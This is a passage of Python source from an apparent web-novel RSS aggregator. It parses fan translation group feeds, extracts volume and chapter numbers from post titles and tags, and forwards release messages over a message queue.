		bad_starts = [
			('FeedProxy', 'Comment on '),
			("Krytyk's Translations", 'By: '),
			('Prince Revolution!', 'By: '),
			('Blazing Translations', 'By: '),
			('Blazing Translations', 'Comment on '),
			('Aran Translations', 'Comment on '),

		]

		if (
				(flags.RSS_DEBUG or self.dbg_print) and
				self.write_debug                    and
				ret is False                        and
				not "teaser" in item['title'].lower() and
				not "Preview" in item['tags']
			):
			vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
			if vol or chp or frag and not flags.RSS_DEBUG:

				if not any([(item['title'].startswith(bad) and item['srcname'] == src) for src, bad in bad_starts]):
					with open('rss_filter_misses-1.json', "a") as fp:

						write_items = {
							"SourceName" : item['srcname'],
							"Title"      : item['title'],
							"Tags"       : list(item['tags']),
							"Vol"        : False if not vol else vol,
							"Chp"        : False if not chp else chp,
							"Frag"       : False if not frag else frag,
							"Postfix"    : postfix,
							"Feed URL"   : item['linkUrl'],
							"GUID"       : item['guid'],
							"Have Func"  : item['srcname'] in funcMap,
						}

						# fp.write("\n==============================\n")
						# fp.write("Feed URL: '%s', guid: '%s'" % (item['linkUrl'], item['guid']))
						# fp.write("'%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s'\n" % (item['srcname'], item['title'], item['tags'], vol, chp, frag, postfix, item['linkUrl']))

						fp.write("%s" % (json.dumps(write_items, )))
						fp.write("\n")

		vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
		if self.dbg_print or flags.RSS_DEBUG:
			# False means not caught. None means intentionally ignored.

			if (
					ret is False         and
					(vol or chp or frag) and
					not "teaser" in item['title'].lower()
				):
				print("Missed:")
				print("	Source: '%s'" % (item['srcname'], ))
				print("	Title:  '%s'" % (item['title'], ))
				print("	Tags:   '%s'" % (item['tags'], ))
				print("	Vol %s, chp %s, fragment %s, postfix '%s'" % (vol, chp, frag, postfix))
				# print("Missed: '%s', '%s', '%s', '%s', '%s', '%s', '%s'" % (item['srcname'], item['title'], item['tags'], vol, chp, frag, postfix))
			elif ret:
				pass
				# print("OK! '%s', V:'%s', C:'%s', '%s', '%s', '%s'" % (ret['srcname'], ret['vol'], ret['chp'], ret['postfix'], ret['series'], item['title']))
			else:
				pass
				# print("Wat: '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s'" % (item['srcname'], item['title'], item['tags'], vol, chp, frag, postfix, item['linkUrl']))

			if flags.RSS_DEBUG:
				ret = False

		# Only return a value if we've actually found a chapter/vol
		if ret and not (ret['vol'] or ret['chp'] or ret['postfix']):
			self.log.info("Skipping item due to no chapter/vol/postfix: '%s', '%s', '%s', '%s', '%s', '%s', '%s'", item['srcname'], item['title'], item['tags'], vol, chp, frag, postfix)
			ret = False

		# Do not trigger if there is "preview" in the title.
		if 'preview' in item['title'].lower():
			self.log.info("Skipping item due to preview string: '%s', '%s', '%s', '%s', '%s', '%s', '%s'", item['srcname'], item['title'], item['tags'], vol, chp, frag, postfix)
			ret = False
		if ret:
			assert 'tl_type' in ret



		return ret


	def getProcessedReleaseInfo(self, feedDat):

		if any([item in feedDat['linkUrl'] for item in skip_filter]):
			print("Skipping!")
			return


		release = self.dispatchRelease(feedDat)

		if release:
			ret = {
				'type' : 'parsed-release',
				'data' : release
			}
			return json.dumps(ret)
		return False


	def getRawFeedMessage(self, feedDat):

		feedDat = feedDat.copy()

		# remove the contents item, since it can be
		# quite large, and is not used.
		feedDat.pop('contents')
		ret = {
			'type' : 'raw-feed',
			'data' : feedDat
		}
		try:
			return json.dumps(ret)
		except TypeError:
			return None

	# Manual patches for dealing with a few broken feeds.
	def checkIgnore(self, feedDat):

		# Japtem seems to put their comments in their main feed, for no good reason.
		if feedDat['srcname'] == "Japtem" and feedDat['title'].startswith("By: "):
			return True
		if feedDat['srcname'] == "Zeonic" and feedDat['title'].startswith("By: "):
			return True
		if feedDat['srcname'] == 'Sora Translations' and feedDat['title'].startswith("Comment on"):
			return True


		return False

	def processFeedData(self, feedDat, tx_raw=True, tx_parse=True):

		if any([item in feedDat['linkUrl'] for item in skip_filter]):
			print("LinkURL '%s' contains a filtered string. Not fetching!" % feedDat['linkUrl'])
			return


		netloc = urllib.parse.urlparse(feedDat['linkUrl']).netloc

		nicename = feedNameLut.getNiceName(feedDat['linkUrl'])
		if not nicename:
			nicename = netloc
		feedDat['srcname'] = nicename

		if self.checkIgnore(feedDat):
			return

		# print("ProcessFeedData! ", netloc)

		# A bunch of crap is aggregated through the "feedproxy.google.com" netloc.
		if not WebMirror.rules.netloc_send_feed(netloc) and not "feedproxy.google.com" in netloc:
			print("Not sending data for netloc: ", netloc)
			return

		try:
			new = self.getProcessedReleaseInfo(feedDat)
		except AssertionError:
			self.log.error("Exception when processing release!")
			for line in traceback.format_exc().split("\n"):
				self.log.error(line.rstrip())

			return

		if tx_parse:
			if new:
				self.amqp_put_item(new)


		raw = self.getRawFeedMessage(feedDat)
		if tx_raw:
			if raw:
				self.amqp_put_item(raw)













# pylint: disable=C0112,R0911,R0912,W0612


from WebMirror.OutputFilters.util.MessageConstructors import buildReleaseMessage
from WebMirror.OutputFilters.util.TitleParsers import extractChapterVol
from WebMirror.OutputFilters.util.TitleParsers import extractChapterVolFragment
from WebMirror.OutputFilters.util.TitleParsers import extractVolChapterFragmentPostfix

import re

####################################################################################################################################################
#
####################################################################################################################################################
def extractWIP(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	print(item['title'])
	print(item['tags'])
	print("'{}', '{}', '{}', '{}'".format(vol, chp, frag, postfix))

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractNop(dummy_item):
	'''

	'''

	return None







# pylint: disable=C0112,R0911,R0912,W0612

from WebMirror.OutputFilters.util.MessageConstructors import buildReleaseMessage
from WebMirror.OutputFilters.util.TitleParsers import extractChapterVolFragment
from WebMirror.OutputFilters.util.TitleParsers import extractVolChapterFragmentPostfix

import re


####################################################################################################################################################
def extractJaptem(item):
	'''
	# Japtem

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if '[Chinese] Shadow Rogue' in item['tags']:
		return buildReleaseMessage(item, "Shadow Rogue", vol, chp, frag=frag, postfix=postfix)
	if '[Chinese] Unique Legend' in item['tags'] or 'Unique Legend' in item['tags']:
		return buildReleaseMessage(item, "Unique Legend", vol, chp, frag=frag, postfix=postfix)
	if '[Japanese] Magi\'s Grandson' in item['tags'] or "[JP] Magi's Grandson" in item['tags']:
		return buildReleaseMessage(item, "Magi's Grandson", vol, chp, frag=frag, postfix=postfix)
	if '[Japanese / Hosted] Arifureta' in item['tags']:
		return buildReleaseMessage(item, "Arifureta", vol, chp, frag=frag, postfix=postfix)
	if '[Korean] 21st Century Archmage' in item['tags']:
		return buildReleaseMessage(item, "21st Century Archmage", vol, chp, frag=frag, postfix=postfix)
	if '[Chinese] Kill No More' in item['tags']:
		return buildReleaseMessage(item, "Kill No More", vol, chp, frag=frag, postfix=postfix)
	if "[JP] Duke's Daughter" in item['tags']:
		return buildReleaseMessage(item, "Good Sense of a Duke's Daughter", vol, chp, frag=frag, postfix=postfix)

	return False


####################################################################################################################################################
def extractNatsuTl(item):
	'''
	# Natsu TL
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Jikuu' in item['tags']:
		return buildReleaseMessage(item, "Jikuu Mahou de Isekai to Chikyuu wo ittarikitari", vol, chp, frag=frag, postfix=postfix)

	if 'Magi Craft Meister' in item['tags']:
		return buildReleaseMessage(item, 'Magi Craft Meister', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractLygarTranslations(item):
	'''
	# Lygar Translations

	'''

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if ('elf tensei' in item['tags'] or 'elf tensei' in item['title'].lower()) and not 'news' in item['tags']:
		return buildReleaseMessage(item, 'Elf Tensei Kara no Cheat Kenkoku-ki', vol, chp, frag=frag, postfix=postfix)
	if 'Himekishi ga Classmate' in item['tags'] and not 'poll' in item['tags']:
		return buildReleaseMessage(item, 'Himekishi ga Classmate! ~ Isekai Cheat de Dorei ka Harem~', vol, chp, frag=frag, postfix=postfix)

	return False




####################################################################################################################################################
def extractMadoSpicy(item):
	'''
	# MadoSpicy TL

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Kyuuketsu Hime' in item['title']:
		# Hardcode ALL THE THINGS
		postfix = ''
		if "interlude" in postfix.lower():
			postfix = "Interlude {num}".format(num=chp)
			chp = None
		if "prologue" in postfix.lower():
			postfix = "Prologue {num}".format(num=chp)
			chp = None
		return buildReleaseMessage(item, 'Kyuuketsu Hime wa Barairo no Yume o Miru', vol, chp, frag=frag, postfix=postfix)
	return False


####################################################################################################################################################
def extractHotCocoa(item):
	'''
	# Hot Cocoa Translations

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'She Professed Herself The Pupil Of The Wise Man'.lower() in item['title'].lower() or \
		'She Professed Herself The Pupil Of The Wise Man'.lower() in [tmp.lower() for tmp in item['tags']]:
		return buildReleaseMessage(item, 'Kenja no Deshi wo Nanoru Kenja', vol, chp, frag=frag)
	# if 'Majin Tenseiki' in item['title']:
	return False



####################################################################################################################################################
def extractManga0205Translations(item):
	'''
	# Manga0205 Translations

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Sendai Yuusha wa Inkyou Shitai'.lower() in item['title'].lower():
		postfix = ''
		if 'Side Story'.lower() in item['title'].lower():
			postfix = "Side Story {num}".format(num=chp)
			chp = None
		return buildReleaseMessage(item, 'Sendai Yuusha wa Inkyou Shitai', vol, chp, frag=frag, postfix=postfix)

	return False


####################################################################################################################################################
def extractKnW(item):
	'''
	# Groups involved in KnW:
	# 	Blazing Translations
	# 	CapsUsingShift Tl
	# 	Insignia Pierce
	# 	Kiriko Translations
	# 	Konjiki no Wordmaster
	# 	Loliquent
	# 	Blazing Translations
	# 	Pummels Translations
	# 	XCrossJ
	# 	Probably another dozen randos per week.
	# Really. Fuck you people. Tag your shit, and start a group blog.

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	tags = item['tags']
	title = item['title']
	src = item['srcname']

	postfix = ''

	if src == 'XCrossJ' and 'Cross Gun' in item['tags']:
		return buildReleaseMessage(item, 'Cross Gun', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	if 'Character Analysis' in item['title']:
		return False

	if "Chapter" in title and src == 'Blazing Translations':
		if "By:" in title:
			return False
		if "Comment" in title:
			return False

		if ":" in title:
			postfix = title.split(":", 1)[-1].strip()
		elif "-" in title:
			postfix = title.split("–", 1)[-1].strip()
		else:
			postfix = ""

		return buildReleaseMessage(item, 'Konjiki no Wordmaster', vol, chp, frag=frag, postfix=postfix)

	if ('Chapters' in tags and 'Konjiki no Wordmaster' in tags) \
		or 'Konjiki no Wordmaster Web Novel Chapters' in tags   \
		or 'Konjiki' in tags                                    \
		or (src == 'Loliquent' and 'Konjiki no Wordmaster' in title):
		postfix = title.split("–", 1)[-1].strip()
		return buildReleaseMessage(item, 'Konjiki no Wordmaster', vol, chp, frag=frag, postfix=postfix)

	elif 'Konjiki no Wordmaster Chapters' in tags                                        \
		or 'Konjiki no Moji Tsukai' in tags                                              \
		or (src == 'Kiriko Translations' and ('KnW' in tags or 'KnW Chapter' in title))  \
		or (src == 'CapsUsingShift Tl' and 'Konjiki no Wordmaster' in title)             \
		or (src == 'Pummels Translations' and 'Konjiki no Word Master Chapter' in title) \
		or (src == 'XCrossJ' and 'Konjiki no Moji Tsukai' in title)                      \
		or (src == 'Insignia Pierce' and 'Konjiki no Word Master Chapter' in title):
		postfix = title.split(":", 1)[-1].strip()
		return buildReleaseMessage(item, 'Konjiki no Wordmaster', vol, chp, frag=frag, postfix=postfix)
		# elif 'Konjiki no Moji Tsukai' in tags:

	return False





def extractKirikoTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'KnW' in item['tags'] or 'KnW Chapter' in item['title']:
		postfix = item['title'].split(":", 1)[-1].strip()
		return buildReleaseMessage(item, 'Konjiki no Wordmaster', vol, chp, frag=frag, postfix=postfix)

	if 'Shinwa Densetsu' in item['tags']:
		return buildReleaseMessage(item, 'Shinwa Densetsu no Eiyuu no Isekaitan', vol, chp, frag=frag, postfix=postfix)
	return False


####################################################################################################################################################
def extractKiri(item):
	'''
	# Kiri Leaves:

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Tensei Oujo' in item['tags'] and (vol or chp):
		return buildReleaseMessage(item, 'Tensei Oujo wa Kyou mo Hata o Tatakioru', vol, chp, frag=frag, postfix=postfix)

	return False



####################################################################################################################################################
def extractLingson(item):
	'''
	# Lingson's Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'The Legendary Thief' in item['tags'] and (vol or chp or postfix):
		return buildReleaseMessage(item, 'Virtual World - The Legendary Thief', vol, chp, frag=frag, postfix=postfix)
	if 'ALBT Chapter Release' in item['tags'] and (vol or chp or postfix):
		return buildReleaseMessage(item, 'Assassin Landlord Beauty Tenants', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractHajiko(item):
	'''
	# Hajiko translation

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Ryuugoroshi no Sugosuhibi' in item['title'] or 'Ryuugoroshi no Sugosu Hibi' in item['tags']:
		return buildReleaseMessage(item, 'Ryugoroshi no Sugosuhibi', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractImoutolicious(item):
	'''
	# Imoutolicious

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'sekaimo' in item['tags']:
		return buildReleaseMessage(item, 'Sekai Ichi no Imouto-sama', vol, chp, frag=frag, postfix=postfix)
	if 'dawnbringer' in item['tags']:
		return buildReleaseMessage(item, 'Dawnbringer: The Story of the Machine God', vol, chp, frag=frag, postfix=postfix)
	if 'clotaku club' in item['tags']:
		return buildReleaseMessage(item, 'Sumdeokbu!', vol, chp, frag=frag, postfix=postfix)
	if 'four lovers' in item['tags']:
		return buildReleaseMessage(item, 'Shurabara!', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractIsekaiMahou(item):
	'''
	# Isekai Mahou Translations!

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Isekai Mahou Chapter' in item['title'] and 'Release' in item['title']:
		return buildReleaseMessage(item, 'Isekai Mahou wa Okureteru!', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractKerambit(item):
	'''
	# Kerambit's Incisions

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Yobidasa' in item['tags'] and (vol or chp):
		if not postfix and ":" in item['title']:
			postfix = item['title'].split(":")[-1]

		return buildReleaseMessage(item, 'Yobidasareta Satsuriku-sha', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractMahoutsuki(item):
	'''
	# Mahoutsuki Translation

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	# Only ever worked on Le Festin de Vampire
	if 'Uncategorized' in item['tags'] and chp and ("Chapter" in item['title'] or "prologue" in item['title']):
		return buildReleaseMessage(item, 'Le Festin de Vampire', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractMaouTheYuusha(item):
	'''
	# Maou the Yuusha

	'''
	# I basically implemented this almost exclusively to mess with
	# Vaan Cruze, since [s]he has been adding releases manually
	# up to this point.

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if ":" in item['title']:
		postfix = item['title'].split(":", 1)[-1]
	if 'Maou the Yuusha' in item['tags'] and 'chapter' in [tmp.lower() for tmp in item['tags']]:
		return buildReleaseMessage(item, 'Maou the Yuusha', vol, chp, frag=frag, postfix=postfix, tl_type="oel")
	return False

####################################################################################################################################################
def extractNightbreeze(item):
	'''
	# Nightbreeze Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	releases = [
			'Transcending The Nine Heavens',
			'Stellar Transformation',
			'Stellar Transformations',  # I think someone accidentally a typo
		]
	for release in releases:
		if release in item['tags']:
			return buildReleaseMessage(item, release, vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractLnAddiction(item):
	'''
	# Ln Addiction

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if ('Hissou Dungeon Unei Houhou' in item['tags'] or 'Hisshou Dungeon Unei Houhou' in item['tags']) and (chp or frag):
		return buildReleaseMessage(item, 'Hisshou Dungeon Unei Houhou', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractNEET(item):
	'''
	# Lazy NEET Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'NEET dakedo Hello Work ni Ittara Isekai ni Tsuretekareta' in item['tags']:
		return buildReleaseMessage(item, 'NEET dakedo Hello Work ni Ittara Isekai ni Tsuretekareta', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractHokageTrans(item):
	'''
	# Hokage Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if any(['Aim the Deepest Part of the Different World Labyrinth'.lower() in tag.lower() for tag in item['tags']]):
		if re.match(r"\d+\.", item['title']):
			postfix = item['title'].split(".", 1)[-1]
		return buildReleaseMessage(item, 'Aim the Deepest Part of the Different World Labyrinth', vol, chp, frag=frag, postfix=postfix)

	if any(['Divine Protection of Many Gods'.lower() in tag.lower() for tag in item['tags']+[item['title']]]):
		return buildReleaseMessage(item, 'Divine Protection of Many Gods', vol, chp, frag=frag, postfix=postfix)

	if any(['Because Janitor-san is Not a Hero'.lower() in tag.lower() for tag in item['tags']+[item['title']]]):
		return buildReleaseMessage(item, 'Because Janitor-san is Not a Hero', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractNeoTranslations(item):
	'''
	# Neo Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Man Picked up by the Gods'.lower() in item['title'].lower() and (chp or vol):
		return buildReleaseMessage(item, 'The Man Picked up by the Gods', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractHenoujiTranslation(item):
	'''
	# Henouji Translation

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Get Naked' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Kazuha Axeplant’s Third Adventure', vol, chp, frag=frag, postfix=postfix)

	if ('Tensai Slime' in item['tags'] or 'Tensei Slime' in item['tags']) and  (chp or vol):
		return buildReleaseMessage(item, 'Tensei Shitara Slime Datta Ken', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractInfiniteNovelTranslations(item):
	'''
	# Infinite Novel Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Yomigaeri no Maou' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Yomigaeri no Maou', vol, chp, frag=frag, postfix=postfix)
	if 'Kakei Senki wo Kakageyo!' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Kakei Senki wo Kakageyo!', vol, chp, frag=frag, postfix=postfix)
	if 'Kuro no Shoukan Samurai' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Kuro no Shoukan Samurai', vol, chp, frag=frag, postfix=postfix)
	if 'Nidoume no Jinsei wo Isekai de' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Nidoume no Jinsei wo Isekai de', vol, chp, frag=frag, postfix=postfix)
	if 'Hachi-nan' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Hachinan tte, Sore wa Nai Deshou!', vol, chp, frag=frag, postfix=postfix)
	if 'Summoned Slaughterer' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Yobidasareta Satsuriku-sha', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractIsekaiTranslation(item):
	'''
	# Isekai Soul-Cyborg Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Isekai Maou to Shoukan Shoujo Dorei Majutsu' in item['tags'] and (chp or vol) and not "manga" in item['title'].lower():
		if chp == 11 and frag == 10:
			return False
		return buildReleaseMessage(item, 'Isekai Maou to Shoukan Shoujo no Dorei Majutsu', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractIterations(item):
	'''
	# Iterations within a Thought-Eclipse

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'SaeKano' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Saenai Heroine no Sodatekata', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractKaezar(item):
	'''
	# Kaezar Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Mushoku Tensei' in item['tags'] and (chp or vol):
		if 'Redundancy Chapters' in item['tags']:
			return buildReleaseMessage(item, 'Mushoku Tensei Redundancy', vol, chp, frag=frag, postfix=postfix)
		else:
			return buildReleaseMessage(item, 'Mushoku Tensei', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractLarvyde(item):
	'''
	# Larvyde Translation

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Preview' in item['tags']:
		return None

	if not postfix and '–' in item['title']:
		postfix = item['title'].split("–")[-1]
	if 'Ore no Osananajimi wa Joshikousei de Yuusha' in item['tags']:
		return buildReleaseMessage(item, 'Ore no Osananajimi wa Joshikousei de Yuusha', vol, chp, frag=frag, postfix=postfix)
	if 'Oukoku e Tsuzuku Michi' in item['tags']:
		return buildReleaseMessage(item, 'Oukoku e Tsuzuku Michi', vol, chp, frag=frag, postfix=postfix)
	if 'Takarakuji de 40-oku Atattandakedo' in item['tags']:
		return buildReleaseMessage(item, 'Takarakuji de 40 Oku Atattandakedo Isekai ni Ijuu Suru', vol, chp, frag=frag, postfix=postfix)
	if 'Jaaku Chika Teikoku' in item['tags']:
		return buildReleaseMessage(item, 'Jaaku to Shite Akuratsu Naru Chika Teikoku Monogatari', vol, chp, frag=frag, postfix=postfix)
	if 'Saenai Heroine no Sodatekata' in item['tags']:
		return buildReleaseMessage(item, 'Saenai Heroine no Sodatekata', vol, chp, frag=frag, postfix=postfix)
	if 'Genjitsushugisha no Oukokukaizouki' in item['tags']:
		return buildReleaseMessage(item, 'Genjitsushugisha no Oukokukaizouki', vol, chp, frag=frag, postfix=postfix)
	if 'Hitokui Dungeon e Youkoso' in item['tags']:
		return buildReleaseMessage(item, 'Hitokui Dungeon e Youkoso', vol, chp, frag=frag, postfix=postfix)
	if 'Chikyuu Tenseisha no Koroshikata' in item['tags']:
		return buildReleaseMessage(item, 'Chikyuu Tenseisha no Koroshikata', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractIzra709(item):
	'''
	# izra709 | B Group no Shounen Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if not postfix and "–" in item['title']:
		postfix = item['title'].split('–')[-1]

	if 'monohito chapter' in item['title'].lower():
		return buildReleaseMessage(item, 'Monogatari no Naka no Hito', vol, chp, frag=frag, postfix=postfix)
	if 'b group chapter' in item['title'].lower():
		return buildReleaseMessage(item, 'B Group no Shounen', vol, chp, frag=frag, postfix=postfix)
	if 'assassin chapter' in item['title'].lower():
		return buildReleaseMessage(item, 'Other World Assassin Life of a Man who was a Shut-in', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractNohohon(item):
	'''
	# 'Nohohon Translation'

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Monster Musume Harem wo Tsukurou!' in item['tags']:
		return buildReleaseMessage(item, 'Monster Musume Harem o Tsukurou!', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractNeetTranslations(item):
	'''
	# NEET Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Marginal Operation' in item['tags']:
		return buildReleaseMessage(item, 'Marginal Operation', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractKyakka(item):
	'''
	# Kyakka

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Yahari Ore no Seishun Love Come wa Machigatteiru' in item['tags']  \
		and 'Translation' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Yahari Ore no Seishun Rabukome wa Machigatte Iru.', vol, chp, frag=frag, postfix=postfix)

	if 'Yahari Ore no Seishun Love Come wa Machigatteiru' in item['tags'] and 'Light Novel' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Yahari Ore no Seishun Rabukome wa Machigatte Iru.', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractNoviceTranslator(item):
	'''
	# 'NoviceTranslator'

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Martial God Space Chapter' in item['title'] or 'Martial God Space' in item['tags']:
		return buildReleaseMessage(item, 'Martial God Space', vol, chp, frag=frag, postfix=postfix)
	if 'Dragon Martial Emperor Chapter' in item['title']:
		return buildReleaseMessage(item, 'Martial God Space', vol, chp, frag=frag, postfix=postfix)
	if 'Genius Sword Immortal' in item['tags']:
		return buildReleaseMessage(item, 'Genius Sword Immortal', vol, chp, frag=frag, postfix=postfix)
	if 'God of Destruction' in item['tags']:
		return buildReleaseMessage(item, 'God of Destruction', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

####################################################################################################################################################
def extractMahouKoukoku(item):
	'''
	# MahouKoukoku

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Shiro no Koukoku Monogatari ' in item['title']:
		return buildReleaseMessage(item, 'Shiro no Koukoku Monogatari', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
# JawzTranslations
####################################################################################################################################################
def extractJawzTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'Zectas' in item['tags'] and vol and chp:
		return buildReleaseMessage(item, 'Zectas', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'LMS' in item['tags'] and vol and chp:
		return buildReleaseMessage(item, 'Legendary Moonlight Sculptor', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractLunate(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if "chapter" in item['title'].lower() and (vol or chp):
		return buildReleaseMessage(item, 'World Customize Creator', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractMoonBunnyCafe(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if not (chp or vol):
		return False
	if "preview" in item['title']:
		return False

	ltags = [tmp.lower() for tmp in item['tags']]

	if 'manhua' in ltags or "manga" in ltags:
		return None

	if 'my disciple died yet again' in ltags:
		return buildReleaseMessage(item, 'My Disciple Died Yet Again', vol, chp, frag=frag)
	if 'monogatari no naka no hito' in ltags:
		return buildReleaseMessage(item, 'Monogatari no Naka no Hito', vol, chp, frag=frag, postfix=postfix)
	if 'purple river' in ltags:
		return buildReleaseMessage(item, 'Purple River', vol, chp, frag=frag, postfix=postfix)
	if 'omni-magician' in ltags:
		return buildReleaseMessage(item, 'Omni-Magician', vol, chp, frag=frag, postfix=postfix)
